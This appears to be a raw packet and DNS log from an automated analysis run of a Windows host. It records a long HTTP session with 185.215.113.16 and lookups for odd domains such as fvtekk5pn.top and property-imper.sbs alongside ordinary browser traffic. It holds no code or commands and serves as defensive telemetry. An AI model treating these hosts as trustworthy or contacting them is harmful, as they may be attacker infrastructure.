Nov 23, 2024 01:14:41.124603033 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.124603033 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.132831097 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.132944107 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.132971048 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.133018970 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.141127110 CET	49895	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:41.141149998 CET	443	49895	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:41.141238928 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.141263962 CET	49895	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:41.141338110 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.141362906 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.141571999 CET	49895	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:41.141582966 CET	443	49895	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:41.141603947 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.149599075 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.149686098 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.149694920 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.149873972 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.156455040 CET	49885	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:41.159651995 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.159775972 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.159818888 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.160017014 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.165132046 CET	443	49884	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.165395021 CET	49884	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:41.165404081 CET	443	49884	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.166959047 CET	443	49884	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.167476892 CET	49884	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:41.167476892 CET	49884	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:41.167493105 CET	443	49884	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.167532921 CET	49884	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:41.167665005 CET	443	49884	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:41.168138027 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.168150902 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.168430090 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.174729109 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.174813032 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.174828053 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.174985886 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.182734013 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.182784081 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.182816029 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.183011055 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.190031052 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.190107107 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.190332890 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.216906071 CET	49884	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:41.313153028 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.313210011 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.313299894 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.313378096 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.315680981 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.315799952 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.315835953 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.315835953 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.320768118 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.320847988 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.320888042 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.320938110 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.325901985 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.325963974 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.325989008 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.326035023 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.330965996 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.331065893 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.331075907 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.331121922 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.336009026 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.336086988 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.336126089 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.336169958 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.341058016 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.341147900 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.341146946 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.341269016 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.346210003 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.346273899 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.346353054 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.346406937 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.351236105 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.351294994 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.351372957 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.351418018 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.356332064 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.356385946 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.356462002 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.356503963 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.361434937 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.361479044 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.361543894 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.361650944 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.366491079 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.366597891 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.366616964 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.366635084 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.371571064 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.371650934 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.371731043 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.371809006 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.376714945 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.376750946 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.376777887 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.376794100 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.381752014 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.381819010 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.381854057 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.381953955 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.386851072 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.386953115 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.386996031 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.387016058 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.391932964 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.392009974 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.392046928 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.392088890 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.396991014 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.397106886 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.397131920 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.397260904 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.402086020 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.402187109 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.402283907 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.402431965 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.407186031 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.407291889 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.407310009 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.407450914 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.412205935 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.412261009 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.475298882 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.475940943 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:41.475956917 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.476530075 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:41.476535082 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.478938103 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.479291916 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:41.479316950 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.479698896 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:41.479706049 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.514317036 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.514386892 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.514420033 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.514492035 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.516381025 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.516448021 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.516499043 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.516561985 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.520453930 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.520566940 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.520571947 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.520692110 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.524528980 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.524616003 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.524637938 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.524684906 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.528600931 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.528671026 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.528712988 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.528757095 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.532946110 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.533009052 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.533010960 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.533051968 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.536411047 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.536475897 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.536541939 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.536585093 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.540157080 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.540242910 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.540282011 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.540338039 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.540954113 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.541330099 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:41.541397095 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.541750908 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:41.541765928 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.543867111 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.543915987 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.543955088 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.544008017 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.548496008 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.548592091 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.548619032 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.548641920 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.551371098 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.551420927 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.551579952 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.551650047 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.551903009 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.552273989 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:41.552289963 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.552671909 CET	49890	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:41.552676916 CET	443	49890	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:41.555082083 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.555151939 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.555188894 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.555253029 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.558830023 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.558952093 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.559005976 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.562558889 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.562658072 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.562733889 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.562779903 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.566293955 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.566356897 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.566481113 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.566521883 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.570010900 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.570113897 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.570192099 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.570246935 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.573741913 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.573841095 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.573864937 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.573952913 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.577507019 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.577573061 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.577651978 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.577727079 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.581253052 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.581310034 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.581326962 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.581393003 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.584944963 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.585019112 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.585067987 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.585166931 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.588716030 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.588777065 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.588849068 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.588886976 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.592423916 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.592478037 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.592514038 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.592571020 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.596143961 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.596244097 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.596267939 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.596298933 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.599896908 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.599957943 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.600070953 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.600128889 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.603619099 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.603704929 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.603740931 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.603784084 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.607357025 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.607430935 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.607465029 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.607506990 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.611080885 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.611190081 CET	49886	80	192.168.2.5	185.215.113.16
Nov 23, 2024 01:14:41.611191034 CET	80	49886	185.215.113.16	192.168.2.5
Nov 23, 2024 01:14:41.611246109 CET	49886	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 01:14:07.996901035 CET	192.168.2.5	1.1.1.1	0x1d93	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:07.997023106 CET	192.168.2.5	1.1.1.1	0x5ed2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 01:14:14.958048105 CET	192.168.2.5	1.1.1.1	0xeb64	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:14.958218098 CET	192.168.2.5	1.1.1.1	0x7415	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 23, 2024 01:14:19.199253082 CET	192.168.2.5	1.1.1.1	0xb779	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:19.199855089 CET	192.168.2.5	1.1.1.1	0x1739	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 23, 2024 01:14:21.829729080 CET	192.168.2.5	1.1.1.1	0xcae3	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:21.829876900 CET	192.168.2.5	1.1.1.1	0x5ac4	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 01:14:23.908754110 CET	192.168.2.5	1.1.1.1	0x362b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:23.909408092 CET	192.168.2.5	1.1.1.1	0x2f5c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 01:14:23.910190105 CET	192.168.2.5	1.1.1.1	0x3ea8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:23.910571098 CET	192.168.2.5	1.1.1.1	0xf30d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 01:14:23.925137997 CET	192.168.2.5	1.1.1.1	0x1aec	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:23.925276041 CET	192.168.2.5	1.1.1.1	0xbee9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 01:14:24.479470968 CET	192.168.2.5	1.1.1.1	0x10b7	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.479726076 CET	192.168.2.5	1.1.1.1	0xa77c	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 23, 2024 01:14:24.494201899 CET	192.168.2.5	1.1.1.1	0x1232	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.494482994 CET	192.168.2.5	1.1.1.1	0x922c	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 23, 2024 01:14:24.639225006 CET	192.168.2.5	1.1.1.1	0x9cd2	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.639355898 CET	192.168.2.5	1.1.1.1	0x5e9c	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 23, 2024 01:14:24.793279886 CET	192.168.2.5	1.1.1.1	0xd256	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:14:24.793433905 CET	192.168.2.5	1.1.1.1	0x3f6d	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 23, 2024 01:15:20.161878109 CET	192.168.2.5	1.1.1.1	0xccd1	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:20.162054062 CET	192.168.2.5	1.1.1.1	0x1082	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 01:15:29.716243029 CET	192.168.2.5	1.1.1.1	0x7f9f	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.487622976 CET	192.168.2.5	1.1.1.1	0xb6d8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.488085985 CET	192.168.2.5	1.1.1.1	0x123a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 01:15:42.491606951 CET	192.168.2.5	1.1.1.1	0xcd13	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.491738081 CET	192.168.2.5	1.1.1.1	0x40ac	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 01:15:42.493388891 CET	192.168.2.5	1.1.1.1	0xdfc8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:42.493623018 CET	192.168.2.5	1.1.1.1	0x6c2c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 23, 2024 01:15:48.311990023 CET	192.168.2.5	1.1.1.1	0x1f10	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:48.312098980 CET	192.168.2.5	1.1.1.1	0xf0d7	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 01:15:51.216044903 CET	192.168.2.5	1.1.1.1	0x94d1	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:15:51.216046095 CET	192.168.2.5	1.1.1.1	0xab3e	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 01:16:00.883500099 CET	192.168.2.5	1.1.1.1	0xba77	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:00.885339022 CET	192.168.2.5	1.1.1.1	0xe0f0	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:00.887908936 CET	192.168.2.5	1.1.1.1	0x3ec8	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:00.889386892 CET	192.168.2.5	1.1.1.1	0xf107	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:00.891978979 CET	192.168.2.5	1.1.1.1	0xcbd9	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:00.912668943 CET	192.168.2.5	1.1.1.1	0x5344	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:00.989818096 CET	192.168.2.5	1.1.1.1	0x2220	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.023592949 CET	192.168.2.5	1.1.1.1	0xee3f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.129190922 CET	192.168.2.5	1.1.1.1	0xde0e	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 01:16:01.132124901 CET	192.168.2.5	1.1.1.1	0x4c6b	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
